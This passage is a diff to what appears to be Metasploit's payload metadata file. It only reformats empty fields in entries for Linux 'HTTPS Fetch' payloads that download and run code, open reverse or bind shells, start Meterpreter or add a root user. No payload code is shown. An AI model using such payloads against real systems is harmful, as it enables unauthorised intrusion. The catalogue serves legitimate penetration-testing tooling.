"Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204279,8 +181361,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204291,9 +181372,7 @@ "payload_cmd/linux/https/armle/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/armle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204303,9 +181382,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nExecute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204319,8 +181396,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204331,9 +181407,7 @@ "payload_cmd/linux/https/armle/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/https/armle/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204344,9 +181418,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204360,8 +181432,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204374,9 +181445,7 @@ "payload_cmd/linux/https/armle/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/armle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204388,9 +181457,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204404,8 +181471,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204418,9 +181484,7 @@ "payload_cmd/linux/https/armle/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204432,9 +181496,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204448,8 +181510,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204460,9 +181521,7 @@ "payload_cmd/linux/https/armle/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204474,9 +181533,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204490,8 +181547,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204502,9 +181558,7 @@ "payload_cmd/linux/https/armle/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204516,9 +181570,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204532,8 +181584,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204544,9 +181595,7 @@ "payload_cmd/linux/https/armle/shell/bind_tcp": { "name": "HTTPS Fetch, Linux dup2 Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/https/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204556,9 +181605,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\ndup2 socket in r12, then execve.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204572,8 +181619,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204586,9 +181632,7 @@ "payload_cmd/linux/https/armle/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204599,9 +181643,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\ndup2 socket in r12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204615,8 +181657,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204629,9 +181670,7 @@ "payload_cmd/linux/https/armle/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204642,9 +181681,7 @@ "hal" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nConnect to target and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204658,8 +181695,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204670,9 +181706,7 @@ "payload_cmd/linux/https/armle/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204682,9 +181716,7 @@ "civ" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204698,8 +181730,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204710,9 +181741,7 @@ "payload_cmd/linux/https/mips64/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204724,9 +181753,7 @@ "timwr" ], "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204740,8 +181767,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204752,9 +181778,7 @@ "payload_cmd/linux/https/mips64/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204766,9 +181790,7 @@ "timwr" ], "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204782,8 +181804,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204794,9 +181815,7 @@ "payload_cmd/linux/https/mips64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204808,9 +181827,7 @@ "timwr" ], "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204824,8 +181841,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204836,9 +181852,7 @@ "payload_cmd/linux/https/mipsbe/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/mipsbe/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204865,8 +181879,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204877,9 +181890,7 @@ "payload_cmd/linux/https/mipsbe/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/mipsbe/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204891,9 +181902,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204907,8 +181916,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204921,9 +181929,7 @@ "payload_cmd/linux/https/mipsbe/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204935,9 +181941,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204951,8 +181955,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204963,9 +181966,7 @@ "payload_cmd/linux/https/mipsbe/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204977,9 +181978,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204993,8 +181992,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205005,9 +182003,7 @@ "payload_cmd/linux/https/mipsbe/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205019,9 +182015,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205035,8 +182029,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205047,9 +182040,7 @@ "payload_cmd/linux/https/mipsbe/reboot": { "name": "HTTPS Fetch, Linux Reboot", "fullname": "payload/cmd/linux/https/mipsbe/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205076,8 +182067,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205088,9 +182078,7 @@ "payload_cmd/linux/https/mipsbe/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/mipsbe/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205101,9 +182089,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205117,8 +182103,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205131,9 +182116,7 @@ "payload_cmd/linux/https/mipsbe/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/mipsbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205146,9 +182129,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSBE payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205162,8 +182143,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205174,9 +182154,7 @@ "payload_cmd/linux/https/mipsbe/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/mipsbe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205203,8 +182181,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205215,9 +182192,7 @@ "payload_cmd/linux/https/mipsle/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/mipsle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205244,8 +182219,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205256,9 +182230,7 @@ "payload_cmd/linux/https/mipsle/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/mipsle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205270,9 +182242,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205286,8 +182256,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205300,9 +182269,7 @@ "payload_cmd/linux/https/mipsle/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205314,9 +182281,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205330,8 +182295,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205342,9 +182306,7 @@ "payload_cmd/linux/https/mipsle/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205356,9 +182318,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205372,8 +182332,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205384,9 +182343,7 @@ "payload_cmd/linux/https/mipsle/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/mipsle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205398,9 +182355,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205414,8 +182369,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205426,9 +182380,7 @@ "payload_cmd/linux/https/mipsle/reboot": { "name": "HTTPS Fetch, Linux Reboot", "fullname": "payload/cmd/linux/https/mipsle/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205455,8 +182407,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205467,9 +182418,7 @@ "payload_cmd/linux/https/mipsle/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/mipsle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205480,9 +182429,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205496,8 +182443,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205510,9 +182456,7 @@ "payload_cmd/linux/https/mipsle/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/mipsle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205525,9 +182469,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205541,8 +182483,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205553,9 +182494,7 @@ "payload_cmd/linux/https/mipsle/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/mipsle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205566,9 +182505,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205582,8 +182519,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205594,9 +182530,7 @@ "payload_cmd/linux/https/ppc/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205608,9 +182542,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205624,8 +182556,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205636,9 +182567,7 @@ "payload_cmd/linux/https/ppc/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205650,9 +182579,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205666,8 +182593,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205678,9 +182604,7 @@ "payload_cmd/linux/https/ppc/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205692,9 +182616,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205708,8 +182630,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205720,9 +182641,7 @@ "payload_cmd/linux/https/ppc64/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/ppc64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205732,9 +182651,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTPS server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205748,8 +182665,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205760,9 +182676,7 @@ "payload_cmd/linux/https/ppc64/shell_find_port": { "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/https/ppc64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205772,9 +182686,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTPS server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205788,8 +182700,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205800,9 +182711,7 @@ "payload_cmd/linux/https/ppc64/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/ppc64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205812,9 +182721,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205828,8 +182735,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205840,9 +182746,7 @@ "payload_cmd/linux/https/ppc64le/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc64le/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205854,9 +182758,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205870,8 +182772,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205882,9 +182783,7 @@ "payload_cmd/linux/https/ppc64le/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc64le/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205896,9 +182795,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205912,8 +182809,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205924,9 +182820,7 @@ "payload_cmd/linux/https/ppc64le/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/ppc64le/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205938,9 +182832,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205954,8 +182846,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -205966,9 +182857,7 @@ "payload_cmd/linux/https/x64/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -205978,9 +182867,7 @@ "Geyslan G. Bem " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -205994,8 +182881,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206006,9 +182892,7 @@ "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206018,9 +182902,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206034,8 +182916,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206048,9 +182929,7 @@ "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { "name": "HTTPS Fetch, Reverse SCTP Stager", "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206060,9 +182939,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206076,8 +182953,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206090,9 +182966,7 @@ "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206103,9 +182977,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -206119,8 +182991,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206133,9 +183004,7 @@ "payload_cmd/linux/https/x64/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206146,9 +183015,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206162,8 +183029,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -206174,9 +183040,7 @@ "payload_cmd/linux/https/x64/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -206187,9 +183051,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -206203,8 +183065,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - 